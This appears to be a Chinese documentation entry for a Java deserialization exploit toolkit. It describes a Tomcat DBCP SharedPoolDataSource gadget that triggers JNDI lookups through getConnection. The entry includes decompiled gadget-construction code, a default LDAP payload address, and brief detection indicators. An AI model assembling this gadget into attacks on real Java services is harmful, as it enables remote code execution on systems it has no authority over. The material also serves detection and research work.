- 类别:
javanative别名:— 优先级:— - 作者:—
- 依赖:
org.apache.tomcat:tomcat-dbcp < 8 - 实现:
Gadget
构造 Tomcat 8 以前 DBCP SharedPoolDataSource,通过 getter 触发 JNDI DataSource 名称解析。
- 入口
tags:DataSourceChains、SpecialPublicMethod、Getter、END - 衔接
nextTags:无 excludes:无
关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:
public Object getObject() {
SharedPoolDataSource dataSource = new SharedPoolDataSource();
dataSource.setDataSourceName(this.jndiUrl);
return dataSource;
}
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
return this.getObject();
}getObject() 实例化 org.apache.commons.dbcp.datasources.SharedPoolDataSource,调用 setDataSourceName(jndiUrl)。
invoke() 写入三类上下文:SUPER_CLASS_NAME_KEY=DataSource.class、SPECIAL_METHOD_NAME_KEY=getConnection、GETTER_PARAM_NAME_KEY=connection。这告诉上游 getter/toString 包装器触发 getConnection()。
当外层 gadget 能调用 getter 时,SharedPoolDataSource.getConnection() 会按 dataSourceName 解析 JNDI 名称,后续效果取决于 jndiUrl 指向的 Reference。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
Jndi地址 | — | "ldap://127.0.0.1:1389/x" |
— |
- 注解描述:tomcat中的dbcp,可通过getter方法(getConnection)触发此链,转为jndi利用 org.apache.commons.dbcp.datasources.SharedPoolDataSource
- 依赖条件:
org.apache.tomcat:tomcat-dbcp < 8。 - 依赖
org.apache.tomcat:tomcat-dbcp < 8暴露的 commons-dbcpSharedPoolDataSource。Tomcat 8+ 对应 dbcp2 版本应使用 TomcatDbcp2DataSource。 END标签说明它可以作为链尾构件;如果没有上游包装器触发其返回对象,单独构造不会自动执行。
关注序列化对象中 SharedPoolDataSource、dataSourceName=ldap/rmi、反序列化后 getConnection 调用。
自由构件,未直接出现在预设链中。
- 机器可读元数据:
index/gadgets.json。 - 完整反编译源码:。